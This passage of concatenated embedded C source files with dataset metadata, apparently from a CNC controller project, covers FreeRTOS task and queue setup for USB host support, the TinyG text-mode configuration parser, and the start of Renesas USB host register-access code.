task_handle5;\nxTaskHandle task_handle6;\n\nxTaskHandle* task_table[] = {\n &task_handle0, /* USB_PCD_TASK */\n &task_handle1, /* USB_HCD_TASK */\n &task_handle2, /* USB_MGR_TASK */\n &task_handle3, /* USB_HUB_TASK */\n &task_handle4, /* USB_HMSC_TASK */\n &task_handle5, /* USB_HSTRG_TASK */\n};\n\nxQueueHandle mbox_handle0;\nxQueueHandle mbox_handle1;\nxQueueHandle mbox_handle2;\nxQueueHandle mbox_handle3;\nxQueueHandle mbox_handle4;\nxQueueHandle mbox_handle5;\nxQueueHandle mbox_handle6;\nxQueueHandle mbox_handle7;\n\nxQueueHandle* mbox_table[] = {\n &mbox_handle0, /* USB_PCD_MBX */\n &mbox_handle1, /* USB_HCD_MBX */\n &mbox_handle2, /* USB_MGR_MBX */\n &mbox_handle3, /* USB_HUB_MBX */\n &mbox_handle4, /* USB_HMSC_MBX */\n &mbox_handle5, /* USB_HSTRG_MBX */\n &mbox_handle6, /* USB_HMSCSMP_MBX */\n &mbox_handle7, /* USB_TFAT_MBX */\n};\n\nxQueueHandle mpl_handle0;\nxQueueHandle mpl_handle1;\nxQueueHandle mpl_handle2;\nxQueueHandle mpl_handle3;\nxQueueHandle mpl_handle4;\nxQueueHandle mpl_handle5;\nxQueueHandle mpl_handle6;\nxQueueHandle mpl_handle7;\n\nxQueueHandle* mpl_table[] = {\n &mpl_handle0, /* USB_PCD_MPL */\n &mpl_handle1, /* USB_HCD_MPL */\n &mpl_handle2, /* USB_MGR_MPL */\n &mpl_handle3, /* USB_HUB_MPL */\n &mpl_handle4, /* USB_HMSC_MPL */\n &mpl_handle5, /* USB_HSTRG_MPL */\n &mpl_handle6, /* USB_HMSCSMP_MPL */\n &mpl_handle7, /* USB_TFAT_MPL */\n};\n\nxQueueHandle qKeyboard;\n\n/***********************************************************************************************************************\nExternal function Prototypes\n***********************************************************************************************************************/\nextern void main_task( void * pvParameters);\nextern void R_httpd(void);\nextern void usb_hmsc_Task(void);\nextern void usb_hmsc_StrgDriveTask(void);\nextern void hmsc_cstd_task_start( void );\nextern void keyboard_task(void);\nextern void states_task(void);\nextern void main_cnc_task(void);\nvoid usb_hmsc_main_task(USB_VP_INT stacd);\n\n/******************************************************************************\nFunction Name : vApplicationMallocFailedHook\nDescription : Hook function\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid vApplicationMallocFailedHook( void )\n{\n /* Called if a call to pvPortMalloc() fails because there is insufficient\n free memory available in the FreeRTOS heap. pvPortMalloc() is called\n internally by FreeRTOS API functions that create tasks, queues, software\n timers, and semaphores. The size of the FreeRTOS heap is set by the\n configTOTAL_HEAP_SIZE configuration constant in FreeRTOSConfig.h. */\n taskDISABLE_INTERRUPTS();\n for( ;; );\n}\n/******************************************************************************\nEnd of function vApplicationMallocFailedHook()\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : vApplicationStackOverflowHook\nDescription : Hook function\nArguments : xTaskHandle pxTask, signed char *pcTaskName\nReturn value : none\n******************************************************************************/\nvoid vApplicationStackOverflowHook( xTaskHandle pxTask, signed char *pcTaskName )\n{\n ( void ) pcTaskName;\n ( void ) pxTask;\n\n /* Run time stack overflow checking is performed if\n configCHECK_FOR_STACK_OVERFLOW is defined to 1 or 2. This hook\n function is called if a stack overflow is detected. */\n taskDISABLE_INTERRUPTS();\n for( ;; );\n}\n/******************************************************************************\nEnd of function vApplicationStackOverflowHook()\n******************************************************************************/\nvoid vAssertCalled( void )\n{\nvolatile unsigned long ul = 0;\n\n\ttaskENTER_CRITICAL();\n\t{\n\t\t/* Use the debugger to set ul to a non-zero value in order to step out\n\t\tof this function to determine why it was called. */\n\t\twhile( ul == 0 )\n\t\t{\n\t\t\tportNOP();\n\t\t}\n\t}\n\ttaskEXIT_CRITICAL();\n}\n/*-----------------------------------------------------------*/\n\nvoid vApplicationIdleHook( void )\n{\n\n}\n\nvoid vApplicationTickHook( void )\n{\n}\n\n/******************************************************************************\nFunction Name : vApplicationSetupTimerInterrupt\nDescription : setup tick timer\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid vApplicationSetupTimerInterrupt( void )\n{\n /* protect off */\n SYSTEM.PRCR.WORD = 0xA502;\n\n /* Enable compare match timer 0. */\n MSTP( CMT0 ) = 0;\n\n /* Interrupt on compare match. */\n //CMT0.CMCR.BIT.CMIE = 1;\n /* Divide the PCLK by 8. */\n //CMT0.CMCR.BIT.CKS = 0;\n CMT0.CMCR.WORD = 0x00C0; // CKS=00b,CMIE=1; PCLK/8,Compare match interrupt (CMIn) enabled @48MHz\n /* Set the compare match value. */\n CMT0.CMCOR = ( unsigned short ) ( ( ( configPERIPHERAL_CLOCK_HZ / configTICK_RATE_HZ )) / 8 - 1);\n\n /* Enable the interrupt... */\n _IEN( _CMT0_CMI0 ) = 1;\n \n /* ...and set its priority to the application defined kernel priority. */\n _IPR( _CMT0_CMI0 ) = configKERNEL_INTERRUPT_PRIORITY;\n \n /* Start the timer. */\n CMT.CMSTR0.BIT.STR0 = 1;\n\n /* protect on */\n SYSTEM.PRCR.WORD = 0xA500;\n\n}\n/******************************************************************************\nEnd of function vApplicationSetupTimerInterrupt()\n******************************************************************************/\n#define NUM 10\n/******************************************************************************\nFunction Name : FreeRTOSConfig\nDescription : create task\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid FreeRTOSConfig( void )\n{\n int8_t i;\n void *tmpPtr = NULL;\n\n /* Mail box */\n#if 0\n mbox_handle0 = xQueueCreate( 10, sizeof(void *) ); /* USB_PCD_MBX */\n#else\n mbox_handle0 = NULL;\n#endif\n mbox_handle1 = xQueueCreate( NUM, sizeof(void *) ); /* USB_HCD_MBX */\n mbox_handle2 = xQueueCreate( NUM, sizeof(void *) ); /* USB_MGR_MBX */\n mbox_handle3 = xQueueCreate( NUM, sizeof(void *) ); /* USB_HUB_MBX */\n mbox_handle4 = xQueueCreate( NUM, sizeof(void *) ); /* USB_HMSC_MBX */\n mbox_handle5 = xQueueCreate( NUM, sizeof(void *) ); /* USB_HSTRG_MBX */\n mbox_handle6 = xQueueCreate( NUM, sizeof(void *) ); /* USB_HMSCSMP_MBX */\n mbox_handle7 = xQueueCreate( 1, sizeof(void *) ); /* USB_TFAT_MBX */\n\n /* Memory pool */\n#if 0\n /* USB_PCD_MPL */\n mpl_handle0 = xQueueCreate( NUM, sizeof(void *) );\n\n for (i = 0; i < 10; i++ )\n {\n \ttmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n \tif ( tmpPtr == NULL )\n \t{\n \t\tfor( ;; );\n \t}\n \telse\n \t{\n \t\txQueueSend( mpl_handle0, &tmpPtr, 0 );\n \t}\n }\n#endif\n /* USB_HCD_MPL */\n mpl_handle1 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle1, &tmpPtr, 0 );\n }\n }\n\n /* USB_MGR_MPL */\n mpl_handle2 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle2, &tmpPtr, 0 );\n }\n }\n\n /* USB_HUB_MPL */\n mpl_handle3 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle3, &tmpPtr, 0 );\n }\n }\n\n /* USB_HMSC_MPL */\n mpl_handle4 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle4, &tmpPtr, 0 );\n }\n }\n\n /* USB_HSTRG_MPL */\n mpl_handle5 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle5, &tmpPtr, 0 );\n }\n }\n /* USB_HMSCSMP_MPL */\n mpl_handle6 = xQueueCreate( NUM, sizeof(void *) );\n\n for ( i = 0; i < NUM; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle6, &tmpPtr, 0 );\n }\n }\n /* USB_TFAT_MPL */\n mpl_handle7 = xQueueCreate( 1, sizeof(void *) );\n\n for ( i = 0; i < 1; i++ )\n {\n tmpPtr = pvPortMalloc( sizeof( USB_UTR_t ) );\n if ( tmpPtr == NULL )\n {\n for( ;; );\n }\n else\n {\n xQueueSend( mpl_handle7, &tmpPtr, 0 );\n }\n }\n\n\tqKeyboard = xQueueCreate(1, sizeof(uint32_t));\n /* Task */\n#if 0\n xTaskCreate( (pdTASK_CODE)R_usb_pstd_PcdTask, \"USB_PCD_TSK \", 512, NULL, 5, &task_handle0 ); /* USB_PCD_TASK */\n#endif\n\n /* USB tasks */\n// xTaskCreate( (pdTASK_CODE)R_usb_hstd_HcdTask, \"USB_HCD_TSK \", 128, NULL, 5, &task_handle1 ); /* USB_HCD_TASK */\n// xTaskCreate( (pdTASK_CODE)R_usb_hstd_MgrTask, \"USB_MGR_TSK \", 128, NULL, 4, &task_handle2 ); /* USB_MGR_TASK */\n// xTaskCreate( (pdTASK_CODE)R_usb_hhub_Task, \"USB_HUB_TSK \", 128, NULL, 3, &task_handle3 ); /* USB_HUB_TASK */\n//\n// xTaskCreate( (pdTASK_CODE)R_usb_hmsc_Task, \"USB_HMSC_TSK \", 128, NULL, 3, &task_handle4 ); /* USB_HMSC_TASK */\n// xTaskCreate( (pdTASK_CODE)R_usb_hmsc_StrgDriveTask, \"USB_HSTRG_TSK \", 128, NULL, 3, &task_handle5 ); /* USB_HSTRG_TASK */\n// xTaskCreate( (pdTASK_CODE)hmsc_cstd_task_start, \"HMSC_MAIN_TSK \", 128, NULL, 2, NULL); /* HMSC_MAIN_TASK */\n\n xTaskCreate( (pdTASK_CODE)R_usb_hstd_HcdTask, \"USB_HCD_TSK \", 128, NULL, 6, &task_handle1 ); /* USB_HCD_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hstd_MgrTask, \"USB_MGR_TSK \", 128, NULL, 5, &task_handle2 ); /* USB_MGR_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hhub_Task, \"USB_HUB_TSK \", 128, NULL, 4, &task_handle3 ); /* USB_HUB_TASK */\n\n xTaskCreate( (pdTASK_CODE)R_usb_hmsc_Task, \"USB_HMSC_TSK \", 128, NULL, 4, &task_handle4 ); /* USB_HMSC_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hmsc_StrgDriveTask, \"USB_HSTRG_TSK \", 128, NULL, 4, &task_handle5 ); /* USB_HSTRG_TASK */\n xTaskCreate( (pdTASK_CODE)hmsc_cstd_task_start, \"HMSC_MAIN_TSK \", 128, NULL, 3, NULL); /* HMSC_MAIN_TASK */\n\n// UsbTaskCreate();\n\n /*User interface task*/\n xTaskCreate( (pdTASK_CODE)keyboard_task, \"keyboard_task \", 512, NULL, 2, NULL); /* keyboard_task */\n xTaskCreate( (pdTASK_CODE)states_task, \"states_task \", 2048, NULL, 1, &task_main_handle); /* states_task */\n xTaskCreate( (pdTASK_CODE)main_cnc_task, \"CNC_task \", 2048, NULL, 1, &xCncTaskHandle); /* CNC_task */\n\n}\n\nvoid UsbTaskDelete(void)\n{\n\tvTaskDelete( task_handle1); /* USB_HCD_TASK */\n\tvTaskDelete( task_handle2); /* USB_MGR_TASK */\n\tvTaskDelete( task_handle3); /* USB_HUB_TASK */\n\n\tvTaskDelete( task_handle4); /* USB_HMSC_TASK */\n\tvTaskDelete( task_handle5); /* USB_HSTRG_TASK */\n\tvTaskDelete( task_handle6); /* HMSC_MAIN_TASK */\n}\n\nvoid UsbTaskCreate(void)\n{\n xTaskCreate( (pdTASK_CODE)R_usb_hstd_HcdTask, \"USB_HCD_TSK \", 128, NULL, 6, &task_handle1 ); /* USB_HCD_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hstd_MgrTask, \"USB_MGR_TSK \", 128, NULL, 5, &task_handle2 ); /* USB_MGR_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hhub_Task, \"USB_HUB_TSK \", 128, NULL, 4, &task_handle3 ); /* USB_HUB_TASK */\n\n xTaskCreate( (pdTASK_CODE)R_usb_hmsc_Task, \"USB_HMSC_TSK \", 128, NULL, 4, &task_handle4 ); /* USB_HMSC_TASK */\n xTaskCreate( (pdTASK_CODE)R_usb_hmsc_StrgDriveTask, \"USB_HSTRG_TSK \", 128, NULL, 4, &task_handle5 ); /* USB_HSTRG_TASK */\n xTaskCreate( (pdTASK_CODE)hmsc_cstd_task_start, \"HMSC_MAIN_TSK \", 128, NULL, 3, &task_handle6 ); /* HMSC_MAIN_TASK */\n}\n\n/******************************************************************************/\n#endif /* FREE_RTOS_PP */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6306887269020081, "alphanum_fraction": 0.6368563771247864, "avg_line_length": 36.15625, "blob_id": "067d20a6d157eaa0e66e00719ac4cdcf4121e362", "content_id": "554a07eade9520172cff137ecbe60de12b6d7753", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10701, "license_type": "no_license", "max_line_length": 114, "num_lines": 288, "path": "/src/cnc/text_parser.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * text_parser.c - text parser for TinyG\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"canonical_machine.h\"\n#include \"text_parser.h\"\n#include \"json_parser.h\"\n#include \"report.h\"\n#include \"help.h\"\n#include \"util.h\"\n#include \"xio.h\"\t\t\t\t\t// for ASCII char definitions\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\ntxtSingleton_t txt;\t\t\t\t\t// declare the singleton for either __TEXT_MODE setting\n\n#ifndef __TEXT_MODE\n\nstat_t text_parser_stub(char_t *str) {return (STAT_OK);}\nvoid text_response_stub(const stat_t status, char_t *buf) {}\nvoid text_print_list_stub (stat_t status, uint8_t flags) {}\nvoid tx_print_stub(nvObj_t *nv) {}\n\n#else // __TEXT_MODE\n\nstatic stat_t _text_parser_kernal(char_t *str, nvObj_t *nv);\n\n/******************************************************************************\n * text_parser() \t\t - update a config setting from a text block (text mode)\n * _text_parser_kernal() - helper for above\n *\n * Use cases handled:\n *\t- $xfr=1200\t\tset a parameter (strict separators))\n *\t- $xfr 1200\t\tset a parameter (relaxed separators)\n *\t- $xfr\t\t\tdisplay a parameter\n *\t- $x\t\t\tdisplay a group\n *\t- ?\t\t\t\tgenerate a status report (multiline format)\n */\nstat_t text_parser(char_t *str)\n{\n\tnvObj_t *nv = nv_reset_nv_list();\t\t\t\t// returns first object in the body\n\tstat_t status = STAT_OK;\n\n\t// trap special displays\n\tif (str[0] == '?') {\t\t\t\t\t\t\t// handle status report case\n\t\tsr_run_text_status_report();\n\t\treturn (STAT_OK);\n\t}\n\tif (str[0] == 'H') {\t\t\t\t\t\t\t// print help screens\n\t\thelp_general((nvObj_t *)NULL);\n\t\treturn (STAT_OK);\n\t}\n\n\t// pre-process the command\n\tif ((str[0] == '$') && (str[1] == NUL)) {\t\t// treat a lone $ as a sys request\n\t\tstrcat(str,\"sys\");\n\t}\n\n\t// parse and execute the command (only processes 1 command per line)\n\tritorno(_text_parser_kernal(str, nv));\t\t\t// run the parser to decode the command\n\tif ((nv->valuetype == TYPE_NULL) || (nv->valuetype == TYPE_PARENT)) {\n\t\tif (nv_get(nv) == STAT_COMPLETE){\t\t\t// populate value, group values, or run uber-group displays\n\t\t\treturn (STAT_OK);\t\t\t\t\t\t// return for uber-group displays so they don't print twice\n\t\t}\n\t} else { \t\t\t\t\t\t\t\t\t\t// process SET and RUN commands\n\t\tif (cm.machine_state == MACHINE_ALARM)\n return (STAT_MACHINE_ALARMED);\n\t\tstatus = nv_set(nv);\t\t\t\t\t\t// set (or run) single value\n\t\tif (status == STAT_OK) {\n\t\t\tnv_persist(nv);\t\t\t\t\t\t\t// conditionally persist depending on flags in array\n\t\t}\n\t}\n\tnv_print_list(status, TEXT_MULTILINE_FORMATTED, JSON_RESPONSE_FORMAT); // print the results\n\treturn (status);\n}\n\nstatic stat_t _text_parser_kernal(char_t *str, nvObj_t *nv)\n{\n\tchar_t *rd, *wr;\t\t\t\t\t\t\t\t// read and write pointers\n//\tchar_t separators[] = {\"=\"};\t\t\t\t\t// STRICT: only separator allowed is = sign\n\tchar_t separators[] = {\" =:|\\t\"};\t\t\t\t// RELAXED: any separator someone might use\n\n\t// pre-process and normalize the string\n//\tnv_reset_nv(nv);\t\t\t\t\t\t\t\t// initialize config object\n\tnv_copy_string(nv, str);\t\t\t\t\t\t// make a copy for eventual reporting\n\tif (*str == '$') str++;\t\t\t\t\t\t\t// ignore leading $\n\tfor (rd = wr = str; *rd != NUL; rd++, wr++) {\n\t\t*wr = tolower(*rd);\t\t\t\t\t\t\t// convert string to lower case\n\t\tif (*rd == ',') { *wr = *(++rd);}\t\t\t// skip over commas\n\t}\n\t*wr = NUL;\t\t\t\t\t\t\t\t\t\t// terminate the string\n\n\t// parse fields into the nv struct\n\tnv->valuetype = TYPE_NULL;\n\tif ((rd = strpbrk(str, separators)) == NULL) {\t// no value part\n\t\tstrncpy(nv->token, str, TOKEN_LEN);\n\t} else {\n\t\t*rd = NUL;\t\t\t\t\t\t\t\t\t// terminate at end of name\n\t\tstrncpy(nv->token, str, TOKEN_LEN);\n\t\tstr = ++rd;\n\t\tnv->value = strtof(str, &rd);\t\t\t\t// rd used as end pointer\n\t\tif (rd != str) {\n\t\t\tnv->valuetype = TYPE_FLOAT;\n\t\t}\n\t}\n\n\t// validate and post-process the token\n\tif ((nv->index = nv_get_index((const char_t *)\"\", nv->token)) == NO_MATCH) { // get index or fail it\n\t\treturn (STAT_UNRECOGNIZED_NAME);\n\t}\n\tstrcpy_P(nv->group, cfgArray[nv->index].group);\t// capture the group string if there is one\n\n\t// see if you need to strip the token\n\tif (nv->group[0] != NUL) {\n\t\twr = nv->token;\n\t\trd = nv->token + strlen(nv->group);\n\t\twhile (*rd != NUL) { *(wr)++ = *(rd)++;}\n\t\t*wr = NUL;\n\t}\n\treturn (STAT_OK);\n}\n\n/************************************************************************************\n * text_response() - text mode responses\n */\nstatic const char prompt_ok[] PROGMEM = \"tinyg [%s] ok> \";\nstatic const char prompt_err[] PROGMEM = \"tinyg [%s] err: %s: %s \";\n\nvoid text_response(const stat_t status, char_t *buf)\n{\n\tif (txt.text_verbosity == TV_SILENT) return;\t// skip all this\n\n\tchar units[] = \"inch\";\n\tif (cm_get_units_mode(MODEL) != INCHES) { strcpy(units, \"mm\"); }\n\n\tif ((status == STAT_OK) || (status == STAT_EAGAIN) || (status == STAT_NOOP)) {\n\t\tfprintf_P(stderr, prompt_ok, units);\n\t} else {\n\t\tfprintf_P(stderr, prompt_err, units, get_status_message(status), buf);\n\t}\n\tnvObj_t *nv = nv_body+1;\n\n\tif (nv_get_type(nv) == NV_TYPE_MESSAGE) {\n\t\tfprintf(stderr, (char *)*nv->stringp);\n\t}\n\tfprintf(stderr, \"\\n\");\n}\n\n/***** PRINT FUNCTIONS ********************************************************\n * json_print_list() - command to select and produce a JSON formatted output\n * text_print_inline_pairs()\n * text_print_inline_values()\n * text_print_multiline_formatted()\n */\n\nvoid text_print_list(stat_t status, uint8_t flags)\n{\n\tswitch (flags) {\n\t\tcase TEXT_NO_PRINT: { break; }\n\t\tcase TEXT_INLINE_PAIRS: { text_print_inline_pairs(nv_body); break; }\n\t\tcase TEXT_INLINE_VALUES: { text_print_inline_values(nv_body); break; }\n\t\tcase TEXT_MULTILINE_FORMATTED: { text_print_multiline_formatted(nv_body);}\n\t}\n}\n\nvoid text_print_inline_pairs(nvObj_t *nv)\n{\n\tuint32_t *v = (uint32_t*)&nv->value;\n\tfor (uint8_t i=0; i<NV_BODY_LEN-1; i++) {\n\t\tswitch (nv->valuetype) {\n\t\t\tcase TYPE_PARENT: \t{ if ((nv = nv->nx) == NULL) return; continue;} // NULL means parent with no child\n\t\t\tcase TYPE_FLOAT:\t{ preprocess_float(nv);\n\t\t\t\t\t\t\t\t fntoa(global_string_buf, nv->value, nv->precision);\n\t\t\t\t\t\t\t\t fprintf_P(stderr,PSTR(\"%s:%s\"), nv->token, global_string_buf) ; break;\n\t\t\t\t\t\t\t\t}\n\t\t\tcase TYPE_INTEGER:\t{ fprintf_P(stderr,PSTR(\"%s:%1.0f\"), nv->token, nv->value); break;}\n\t\t\tcase TYPE_DATA:\t { fprintf_P(stderr,PSTR(\"%s:%lu\"), nv->token, *v); break;}\n\t\t\tcase TYPE_STRING:\t{ fprintf_P(stderr,PSTR(\"%s:%s\"), nv->token, *nv->stringp); break;}\n\t\t\tcase TYPE_EMPTY:\t{ fprintf_P(stderr,PSTR(\"\\n\")); return; }\n\t\t}\n\t\tif ((nv = nv->nx) == NULL) return;\n\t\tif (nv->valuetype != TYPE_EMPTY) { fprintf_P(stderr,PSTR(\",\"));}\n\t}\n}\n\nvoid text_print_inline_values(nvObj_t *nv)\n{\n\tuint32_t *v = (uint32_t*)&nv->value;\n\tfor (uint8_t i=0; i<NV_BODY_LEN-1; i++) {\n\t\tswitch (nv->valuetype) {\n\t\t\tcase TYPE_PARENT: \t{ if ((nv = nv->nx) == NULL) return; continue;} // NULL means parent with no child\n\t\t\tcase TYPE_FLOAT:\t{ preprocess_float(nv);\n\t\t\t\t\t\t\t\t fntoa(global_string_buf, nv->value, nv->precision);\n\t\t\t\t\t\t\t\t fprintf_P(stderr,PSTR(\"%s\"), global_string_buf) ; break;\n\t\t\t\t\t\t\t\t}\n\t\t\tcase TYPE_INTEGER:\t{ fprintf_P(stderr,PSTR(\"%1.0f\"), nv->value); break;}\n\t\t\tcase TYPE_DATA:\t { fprintf_P(stderr,PSTR(\"%lu\"), *v); break;}\n\t\t\tcase TYPE_STRING:\t{ fprintf_P(stderr,PSTR(\"%s\"), *nv->stringp); break;}\n\t\t\tcase TYPE_EMPTY:\t{ fprintf_P(stderr,PSTR(\"\\n\")); return; }\n\t\t}\n\t\tif ((nv = nv->nx) == NULL) return;\n\t\tif (nv->valuetype != TYPE_EMPTY) { fprintf_P(stderr,PSTR(\",\"));}\n\t}\n}\n\nvoid text_print_multiline_formatted(nvObj_t *nv)\n{\n\tfor (uint8_t i=0; i<NV_BODY_LEN-1; i++) {\n\t\tif (nv->valuetype != TYPE_PARENT) {\n\t\t\tpreprocess_float(nv);\n\t\t\tnv_print(nv);\n\t\t}\n\t\tif ((nv = nv->nx) == NULL) return;\n\t\tif (nv->valuetype == TYPE_EMPTY) break;\n\t}\n}\n\n/*\n * Text print primitives using generic formats\n */\nstatic const char fmt_str[] PROGMEM = \"%s\\n\";\t// generic format for string message (with no formatting)\nstatic const char fmt_ui8[] PROGMEM = \"%d\\n\";\t// generic format for ui8s\nstatic const char fmt_int[] PROGMEM = \"%lu\\n\";\t// generic format for ui16's and ui32s\nstatic const char fmt_flt[] PROGMEM = \"%f\\n\";\t// generic format for floats\n\nvoid tx_print_nul(nvObj_t *nv) {}\nvoid tx_print_str(nvObj_t *nv) { text_print_str(nv, fmt_str);}\nvoid tx_print_ui8(nvObj_t *nv) { text_print_ui8(nv, fmt_ui8);}\nvoid tx_print_int(nvObj_t *nv) { text_print_int(nv, fmt_int);}\nvoid tx_print_flt(nvObj_t *nv) { text_print_flt(nv, fmt_flt);}\n\n/*\n * Text print primitives using external formats\n *\n *\tNOTE: format's are passed in as flash strings (PROGMEM)\n */\n\nvoid text_print_nul(nvObj_t *nv, const char *format) { fprintf_P(stderr, format);}\t// just print the format string\nvoid text_print_str(nvObj_t *nv, const char *format) { fprintf_P(stderr, format, *nv->stringp);}\nvoid text_print_ui8(nvObj_t *nv, const char *format) { fprintf_P(stderr, format, (uint8_t)nv->value);}\nvoid text_print_int(nvObj_t *nv, const char *format) { fprintf_P(stderr, format, (uint32_t)nv->value);}\nvoid text_print_flt(nvObj_t *nv, const char *format) { fprintf_P(stderr, format, nv->value);}\n\nvoid text_print_flt_units(nvObj_t *nv, const char *format, const char *units)\n{\n\tfprintf_P(stderr, format, nv->value, units);\n}\n\n/*\n * Formatted print supporting the text parser\n */\nstatic const char fmt_tv[] PROGMEM = \"[tv] text verbosity%15d [0=silent,1=verbose]\\n\";\n\nvoid tx_print_tv(nvObj_t *nv) { text_print_ui8(nv, fmt_tv);}\n\n\n#endif // __TEXT_MODE\n\n#ifdef __cplusplus\n}\n#endif // __cplusplus\n" }, { "alpha_fraction": 0.4451471269130707, "alphanum_fraction": 0.45499056577682495, "avg_line_length": 38.690284729003906, "blob_id": "7608dab6fc250bc3f1f23dae92cdcb1f67ca7056", "content_id": "4e25302fefb71e25d32e3d12f81e04697940a862", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 39214, "license_type": "no_license", "max_line_length": 120, "num_lines": 988, "path": "/r_usb_basic/src/HW/host/r_usb_hreg_access.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hreg_access.c\n* Description : USB IP register access code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define USB_DEVSEL_NUM_SHIFT 12\n\n/************/\n/* SYSCFG */\n/************/\n/******************************************************************************\nFunction Name : usb_hreg_set_drpd\nDescription : Set DRPD bit of specified port's SYSCFG register. This is only \n : for when Host, to pull down the D+ and D- lines.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_hreg_set_drpd( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->SYSCFG.WORD |= USB_DRPD;\n }\n} /* eof usb_hreg_set_drpd() */\n\n/******************************************************************************\nFunction Name : usb_hreg_clr_drpd\nDescription : Clear 